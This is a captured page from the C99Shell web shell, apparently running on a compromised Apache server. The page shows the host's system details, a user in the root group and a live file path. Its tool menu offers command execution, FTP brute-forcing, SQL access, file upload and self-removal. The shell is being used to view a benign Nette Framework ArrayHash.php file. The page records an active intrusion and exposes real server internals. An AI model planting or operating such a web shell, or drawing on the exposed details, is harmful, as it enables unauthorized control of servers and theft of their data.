!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/nette/utils/src/Utils/   drwxr-xr-x
Free 28.56 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayHash.php (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Utils;

use 
Nette;


/**
 * Provides objects to work as array.
 * @template T
 * @implements \IteratorAggregate<array-key, T>
 * @implements \ArrayAccess<array-key, T>
 */
class ArrayHash extends \stdClass implements \ArrayAccess\Countable\IteratorAggregate
{
    
/**
     * Transforms array to ArrayHash.
     * @param  array<T>  $array
     */
    
public static function from(array $arraybool $recursive true): static
    {
        
$obj = new static;
        foreach (
$array as $key => $value) {
            
$obj->$key $recursive && is_array($value)
                ? static::
from($value)
                : 
$value;
        }

        return 
$obj;
    }


    
/**
     * Returns an iterator over all items.
     * @return \Iterator<array-key, T>
     */
    
public function &getIterator(): \Iterator
    
{
        foreach ((array) 
$this as $key => $foo) {
            yield 
$key => $this->$key;
        }
    }


    
/**
     * Returns items count.
     */
    
public function count(): int
    
{
        return 
count((array) $this);
    }


    
/**
     * Replaces or appends a item.
     * @param  array-key  $key
     * @param  T  $value
     */
    
public function offsetSet($key$value): void
    
{
        if (!
is_scalar($key)) { // prevents null
            
throw new Nette\InvalidArgumentException(sprintf('Key must be either a string or an integer, %s given.'get_debug_type($key)));
        }

        
$this->$key $value;
    }


    
/**
     * Returns a item.
     * @param  array-key  $key
     * @return T
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetGet($key)
    {
        return 
$this->$key;
    }


    
/**
     * Determines whether a item exists.
     * @param  array-key  $key
     */
    
public function offsetExists($key): bool
    
{
        return isset(
$this->$key);
    }


    
/**
     * Removes the element from this list.
     * @param  array-key  $key
     */
    
public function offsetUnset($key): void
    
{
        unset(
$this->$key);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--